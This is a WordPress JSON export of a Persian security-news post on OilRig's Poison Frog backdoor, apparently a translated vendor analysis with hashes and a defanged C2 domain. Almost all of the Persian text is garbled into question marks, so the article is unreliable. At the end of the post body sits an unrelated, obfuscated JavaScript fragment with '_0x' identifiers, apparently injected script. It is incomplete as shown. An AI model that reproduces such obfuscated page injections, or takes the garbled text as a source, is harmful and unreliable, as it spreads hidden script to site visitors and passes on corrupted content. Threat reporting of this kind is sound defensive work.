{"id":1655,"date":"2020-01-16T10:14:48","date_gmt":"2020-01-16T06:44:48","guid":{"rendered":"http:\/\/soroosheamniyat.ir\/?p=1655"},"modified":"2020-01-11T23:19:06","modified_gmt":"2020-01-11T19:49:06","slug":"%d9%82%d9%88%d8%b1%d8%a8%d8%a7%d8%ba%d9%87-%d8%b3%d9%85%db%8c%d9%90-oilrig-%d9%86%d9%85%d9%88%d9%86%d9%87%e2%80%8c%d9%87%d8%a7%db%8c-%d9%82%d8%af%db%8c%d9%85%db%8c%d8%8c-%d8%aa%d8%b1%d9%81%d9%86","status":"publish","type":"post","link":"https:\/\/soroosheamniyat.ir\/?p=1655","title":{"rendered":"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc"},"content":{"rendered":"<p>??? ?? ????? ?? ???? ??? OilRig ?? ????? ????? ??????? ????? ?????? ????? ??? ?? ?? ?????? YARA[1] ??? ?? ??? ?????? ???? ????? ???? ????. ???? ?? ???? ???? ?? ??? ??????? ???? ??????? ?? ??? ??? ?? ?????? ?? ???? ???? ???? ????????? ??????? ???????? ???[?] ??? ???? ????????.<\/p>\n<p><strong>??????? ????<\/strong><\/p>\n<p>???? ?????? ????? ?????? ??? ??????? ???? ???? ????????? ??? ??????? ?? ????? ???? ??? ??? ?? ???? ????????. ?? ?? ??? ????? ??? ??? ?? ??? ?? ????? ????????? ??????? ??? ?? ????? ???? ??? ?? poison-frog[.]club ?? ????? ??? ????? ???? C2 ??? ??????? ??????.<\/p>\n<p>??? ??? ?? ??????? ?? ??? ????? ?????? ???? ?? ?? ????? ???? ?????????: MD5 4EA656D10BE1D6EAC05D69252D270592. ??? ?? ????? ?? ???? ?????????? PE32 ??? ?? ?? ???? C# ????? ??? ???. ?? C# ????? ?? ???? ?? ?? ???????: ???? ??????? ???? ???? ??????? PowerShell (?? ???? ????????? ??? ? ???? ???? ????????? ?????? ??????) ???? ? ??? ??? ???? ?? ???. ???? ?????? (?? ??????? ??? ?? ??? ?? ??? ????) ?? ????? ????????? PE32 ?? ???? ????? ???? ??? ???.<\/p>\n<p>??????? ???????????? PowerShell ?? ???? ????? ????? ?????? ?? ????? ??????????? ????? PowerShell ???????? ???? ?????? ?? ????? ???????. ?? ???? ?? ??????? dns_ag ? \u00a0http_ag ???? ???? (????? ???? ?? ?????? ???? ?? ??? ????? ???) ?? ???? DNS ? ????? HTTP (base64 ????????????) ???????.<\/p>\n<p>??? ?????? ??????? ???? ??????? ?? ????? ??????????? ???? ???? ??????.<\/p>\n<p>??? ?? ????? base64 ???? DNS ?? ??????? ??? ? ?? ?? ?? UTF16 ?? ASCII ????? ???? ?? ?????? ??????? ????? Poison Frog HTTP ????????: ?? ????? \u00a0PowerShell 59 ???.<\/p>\n<p>??????? ?? ?? ?? ????? ?? ??? ????????? ?? ????? PowerShell ?????? ??????? ??????? ????? ???? ? ??????? ??? ??????? ???? ???.<\/p>\n<p>?????? ???? ?? ?? ???????? ?? UID ????? ?? ???? \u00a0MAC ?? ?????? ????? ?? ????? whoami ???? ??????. ??? UID ?? ?? ???? ????? ?????? ?????? ? ?? ?? ?????? \u00a0??????????? ????? ??? ??? ????? ?? ???.<\/p>\n<p>??? ??? ???? ?? ???????? ?????? ???? ?? ???? ?? C2 ?? ?? ???? ? ?? ???? ? ????? ??? ???.<\/p>\n<p>??? ???? ?? ?? ????? ????? ?????? ???? ???? ????? ??????? ?? C2 ??? ???????? ??????? ??????. ??? ????? ???? ????? ??? ??????? ??????- ??? ??? ?? ????? ??? ? ??? ?? ????.<\/p>\n<p>?????? ???? ?? ??????? ??? ???? ?????????? ??????? ??? ???? ???????:<\/p>\n<p>??? ??????? ???\u00a0 ? ????? ????? ???????? ?? ???? ??? ?????? ???? ?????? ? ????? ?? C2 ??? ??????? ????? ??.<\/p>\n<p>??? ??????? ??? ? ????? ???? ???? ?????? ??? ???? ???????? ?? ???? ??? ????? ???? ???? ?? ??. ??? ???? ?????? ????? ??? ?? ??? ????????. ??? ?? ???? ????? ????? ???? ?? ???? ????? ???????.<\/p>\n<p>??? ? ?????? ???? ???? ??? ????? ???? ?? ??????? ?? ?? ???? ???? ??? ??? ????? ??????.<\/p>\n<p>? ????. ??? ?? ?? ??.<\/p>\n<p>??????? ????? ?? ???? ????? MD5 C9F16F0BE8C77F0170B9B6CE876ED7FB ???. ??? ????? ??? ?? ???????? ??????? ???? \u00a0DNS ?????? ??????. ?? ??? ?? ??? ??? ????? ???? ?? ????? ???????? ??? ????? ? ??? ??????? ??????? ?? ????? ??????.<\/p>\n<p><strong>??????? ??? ?? ?????? ?????<\/strong><\/p>\n<p>??? ??????? ??? ????? ????? ?? ??? ????? ????. ???????? ????????????? OilRig ????? ?????? ??? ????? ?? ??? ???? ? ??? ??????? ?? ?? ???? ???????? ?????? Cisco AnyConnect ?? ?????. ??? ????? ???? ?? ??? ????????? ??? ????? ??????.<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/blog.irkaspersky.com\/Images\/Static\/oilrigs-poison-frog-1.png\" alt=\"\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>?? ??? ??? ?? ??? ???? ??? ???????? ???? ?????? ???? ????. ???? ????? ?????? ??????? ?? ??? ?? ???? ???? ???????? ?????? ?????? ?? ??? ?? ???? ? ?????? ???? ???? ???? ????? ????? ????? ??????.<\/p>\n<p>???? ??? ?????? ?? ???? ???? ??????? ??? ???- ?? ??? ?????? connect ???? ????? ??? ???? ???? ??????:<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/blog.irkaspersky.com\/Images\/Static\/oilrigs-poison-frog-2.png\" alt=\"\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>??? ????? ???? ?????? ?? ??????? ??? ???? ?? ??? ???? ??? ?? ??????? ? ?? ?????? ??????????? ????? ????? ??? ?? ?????? ????? ???? ?? ????? ??? ????? ??? ??????.<\/p>\n<p><strong>??????? <\/strong><strong>OilRig<\/strong><\/p>\n<p>OilRig ???????????? ???? APT ???? ???? ?? ????? ??????????? ???????? ????? ?? ??????.<\/p>\n<p>???? ????? ?? ????? ?? ???? ?????? ????? ??????? ?????? ???? ???.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/blog.irkaspersky.com\/Images\/Static\/oilrigs-poison-frog-3.png\" alt=\"\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>?????? ?????? ?? ???????? ???? ???? ?????? (??????) ???? PDB ?? ??????.<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/blog.irkaspersky.com\/Images\/Static\/oilrigs-poison-frog-5.png\" alt=\"\" \/><\/p>\n<p>????? ?? ???? ????????? ????? ???????[?] ?? ?? ?????? ?? ????? ????? ?????- ?????? ?? ??? ?? ???? ???.<\/p>\n<p>???? ????? ??????? ??FB0C1E0DE46177390DE3EE18608B21 ????? ???????? ????-??-?? ???? ????? ?? ?? ?? ??? ????? ??? ???????????? ???? ?????.<\/p>\n<p>&nbsp;<\/p>\n<p>[?]\u00a0?????? ??? ?? ?? ?????? ????? ?????? ?? ??????? ?? ?? ???? ??????? ?? ?????? ??????? ???? ?? ?????? ?? ??? ????????? ??? ?? ?????? ? ??????? ????.<\/p>\n<p>[?] Poison Frog<\/p>\n<p>[?]\u00a0??? ????? ???? ?? ???? ???????????? ??? ???? (???? ????) ?? ?? ????? ??? ????? (???? ????).<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>??? ?? ????? ?? ???? ??? OilRig ?? ????? ????? ??????? ????? ?????? ????? ??? ?? ?? ?????? YARA[1] ??? ?? ??? ?????? ???? ????? ???? ????. ???? ?? ???? ???? ?? ??? ??????? ???? ??????? ?? ??? ??? ?? ?????? ?? ???? ???? ???? ????????? ??????? ???????? ???[?] ??? ???? ????????. ??????? ???? ???? &hellip;<\/p>\n","protected":false},"author":3,"featured_media":1656,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[317,161],"class_list":["post-1655","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security","tag-2-poison-frog","tag-161"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.4 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc - \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/soroosheamniyat.ir\/?p=1655\" \/>\n<meta property=\"og:locale\" content=\"fa_IR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc\" \/>\n<meta property=\"og:description\" content=\"??? ?? ????? ?? ???? ??? OilRig ?? ????? ????? ??????? ????? ?????? ????? ??? ?? ?? ?????? YARA[1] ??? ?? ??? ?????? ???? ????? ???? ????. ???? ?? ???? ???? ?? ??? ??????? ???? ??????? ?? ??? ??? ?? ?????? ?? ???? ???? ???? ????????? ??????? ???????? ???[?] ??? ???? ????????. ??????? ???? ???? &hellip;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/soroosheamniyat.ir\/?p=1655\" \/>\n<meta property=\"og:site_name\" content=\"\u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-16T06:44:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2020\/01\/26-8.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"640\" \/>\n\t<meta property=\"og:image:height\" content=\"420\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@sorosheamniyat\" \/>\n<meta name=\"twitter:site\" content=\"@sorosheamniyat\" \/>\n<meta name=\"twitter:label1\" content=\"\u0646\u0648\u0634\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u062f\u0633\u062a\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655\"},\"author\":{\"name\":\"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646\",\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/#\\\/schema\\\/person\\\/289f3d823544e58c44b2fd466e7afd2b\"},\"headline\":\"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc\",\"datePublished\":\"2020-01-16T06:44:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655\"},\"wordCount\":86,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/#\\\/schema\\\/person\\\/289f3d823544e58c44b2fd466e7afd2b\"},\"image\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2020\\\/01\\\/26-8.jpg\",\"keywords\":[\"[2] Poison Frog\",\"\u0627\u0645\u0646\u06cc\u062a\"],\"articleSection\":[\"\u0627\u0645\u0646\u06cc\u062a\"],\"inLanguage\":\"fa-IR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655\",\"url\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655\",\"name\":\"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc - \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2020\\\/01\\\/26-8.jpg\",\"datePublished\":\"2020-01-16T06:44:48+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#breadcrumb\"},\"inLanguage\":\"fa-IR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fa-IR\",\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#primaryimage\",\"url\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2020\\\/01\\\/26-8.jpg\",\"contentUrl\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2020\\\/01\\\/26-8.jpg\",\"width\":640,\"height\":420},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?p=1655#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u062e\u0627\u0646\u0647\",\"item\":\"https:\\\/\\\/soroosheamniyat.ir\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/#website\",\"url\":\"https:\\\/\\\/soroosheamniyat.ir\\\/\",\"name\":\"\u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a\",\"description\":\"\u0636\u0631\u0648\u0631\u062a \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u0645\u0646\u06cc\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a\",\"publisher\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/#\\\/schema\\\/person\\\/289f3d823544e58c44b2fd466e7afd2b\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fa-IR\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/#\\\/schema\\\/person\\\/289f3d823544e58c44b2fd466e7afd2b\",\"name\":\"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fa-IR\",\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/Artboard-1.png\",\"url\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/Artboard-1.png\",\"contentUrl\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/Artboard-1.png\",\"width\":1080,\"height\":494,\"caption\":\"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646\"},\"logo\":{\"@id\":\"https:\\\/\\\/soroosheamniyat.ir\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/Artboard-1.png\"},\"description\":\"\u06a9\u0627\u0631\u0634\u0646\u0627\u0633 \u0627\u0631\u0634\u062f \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0648\u0635\u0627\u062d\u0628 \u0627\u0645\u062a\u06cc\u0627\u0632 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a. \u0645\u0647\u0627\u0631\u062a \u0647\u0627: \u062a\u0633\u0644\u0637 \u06a9\u0627\u0645\u0644 \u0628\u0647 \u0645\u0628\u0627\u062d\u062b \u0634\u0628\u06a9\u0647\u060c \u0633\u06cc\u0633\u06a9\u0648\u060c\u0647\u06a9 \u0648 \u0627\u0645\u0646\u06cc\u062a\u060c \u0645\u0628\u0627\u062d\u062b \u0645\u062c\u0627\u0632\u06cc \u0633\u0627\u0632\u06cc\u060c\u0628\u0627\u0646\u06a9 \u0647\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc \u0641\u0627\u0631\u0646\u0632\u06cc\u06a9\",\"sameAs\":[\"http:\\\/\\\/www.soroosheamniyat.ir\",\"@soroosheamniyat.ir\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/----928b90203\\\/\",\"https:\\\/\\\/x.com\\\/sorosheamniyat\"],\"url\":\"https:\\\/\\\/soroosheamniyat.ir\\\/?author=3\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc - \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/soroosheamniyat.ir\/?p=1655","og_locale":"fa_IR","og_type":"article","og_title":"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc","og_description":"??? ?? ????? ?? ???? ??? OilRig ?? ????? ????? ??????? ????? ?????? ????? ??? ?? ?? ?????? YARA[1] ??? ?? ??? ?????? ???? ????? ???? ????. ???? ?? ???? ???? ?? ??? ??????? ???? ??????? ?? ??? ??? ?? ?????? ?? ???? ???? ???? ????????? ??????? ???????? ???[?] ??? ???? ????????. ??????? ???? ???? &hellip;","og_url":"https:\/\/soroosheamniyat.ir\/?p=1655","og_site_name":"\u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a","article_published_time":"2020-01-16T06:44:48+00:00","og_image":[{"width":640,"height":420,"url":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2020\/01\/26-8.jpg","type":"image\/jpeg"}],"author":"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646","twitter_card":"summary_large_image","twitter_creator":"@sorosheamniyat","twitter_site":"@sorosheamniyat","twitter_misc":{"\u0646\u0648\u0634\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u062f\u0633\u062a":"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/soroosheamniyat.ir\/?p=1655#article","isPartOf":{"@id":"https:\/\/soroosheamniyat.ir\/?p=1655"},"author":{"name":"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646","@id":"https:\/\/soroosheamniyat.ir\/#\/schema\/person\/289f3d823544e58c44b2fd466e7afd2b"},"headline":"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc","datePublished":"2020-01-16T06:44:48+00:00","mainEntityOfPage":{"@id":"https:\/\/soroosheamniyat.ir\/?p=1655"},"wordCount":86,"commentCount":0,"publisher":{"@id":"https:\/\/soroosheamniyat.ir\/#\/schema\/person\/289f3d823544e58c44b2fd466e7afd2b"},"image":{"@id":"https:\/\/soroosheamniyat.ir\/?p=1655#primaryimage"},"thumbnailUrl":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2020\/01\/26-8.jpg","keywords":["[2] Poison Frog","\u0627\u0645\u0646\u06cc\u062a"],"articleSection":["\u0627\u0645\u0646\u06cc\u062a"],"inLanguage":"fa-IR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/soroosheamniyat.ir\/?p=1655#respond"]}]},{"@type":"WebPage","@id":"https:\/\/soroosheamniyat.ir\/?p=1655","url":"https:\/\/soroosheamniyat.ir\/?p=1655","name":"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc - \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a","isPartOf":{"@id":"https:\/\/soroosheamniyat.ir\/#website"},"primaryImageOfPage":{"@id":"https:\/\/soroosheamniyat.ir\/?p=1655#primaryimage"},"image":{"@id":"https:\/\/soroosheamniyat.ir\/?p=1655#primaryimage"},"thumbnailUrl":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2020\/01\/26-8.jpg","datePublished":"2020-01-16T06:44:48+00:00","breadcrumb":{"@id":"https:\/\/soroosheamniyat.ir\/?p=1655#breadcrumb"},"inLanguage":"fa-IR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/soroosheamniyat.ir\/?p=1655"]}]},{"@type":"ImageObject","inLanguage":"fa-IR","@id":"https:\/\/soroosheamniyat.ir\/?p=1655#primaryimage","url":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2020\/01\/26-8.jpg","contentUrl":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2020\/01\/26-8.jpg","width":640,"height":420},{"@type":"BreadcrumbList","@id":"https:\/\/soroosheamniyat.ir\/?p=1655#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u062e\u0627\u0646\u0647","item":"https:\/\/soroosheamniyat.ir\/"},{"@type":"ListItem","position":2,"name":"\u0642\u0648\u0631\u0628\u0627\u063a\u0647 \u0633\u0645\u06cc\u0650 OilRig- \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u060c \u062a\u0631\u0641\u0646\u062f\u0647\u0627\u06cc \u0647\u0645\u06cc\u0634\u06af\u06cc"}]},{"@type":"WebSite","@id":"https:\/\/soroosheamniyat.ir\/#website","url":"https:\/\/soroosheamniyat.ir\/","name":"\u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a","description":"\u0636\u0631\u0648\u0631\u062a \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u0645\u0646\u06cc\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a","publisher":{"@id":"https:\/\/soroosheamniyat.ir\/#\/schema\/person\/289f3d823544e58c44b2fd466e7afd2b"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/soroosheamniyat.ir\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fa-IR"},{"@type":["Person","Organization"],"@id":"https:\/\/soroosheamniyat.ir\/#\/schema\/person\/289f3d823544e58c44b2fd466e7afd2b","name":"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646","image":{"@type":"ImageObject","inLanguage":"fa-IR","@id":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2023\/10\/Artboard-1.png","url":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2023\/10\/Artboard-1.png","contentUrl":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2023\/10\/Artboard-1.png","width":1080,"height":494,"caption":"\u0633\u0639\u06cc\u062f \u0628\u0627\u062c\u0644\u0627\u0646"},"logo":{"@id":"https:\/\/soroosheamniyat.ir\/wp-content\/uploads\/2023\/10\/Artboard-1.png"},"description":"\u06a9\u0627\u0631\u0634\u0646\u0627\u0633 \u0627\u0631\u0634\u062f \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0648\u0635\u0627\u062d\u0628 \u0627\u0645\u062a\u06cc\u0627\u0632 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a. \u0645\u0647\u0627\u0631\u062a \u0647\u0627: \u062a\u0633\u0644\u0637 \u06a9\u0627\u0645\u0644 \u0628\u0647 \u0645\u0628\u0627\u062d\u062b \u0634\u0628\u06a9\u0647\u060c \u0633\u06cc\u0633\u06a9\u0648\u060c\u0647\u06a9 \u0648 \u0627\u0645\u0646\u06cc\u062a\u060c \u0645\u0628\u0627\u062d\u062b \u0645\u062c\u0627\u0632\u06cc \u0633\u0627\u0632\u06cc\u060c\u0628\u0627\u0646\u06a9 \u0647\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc 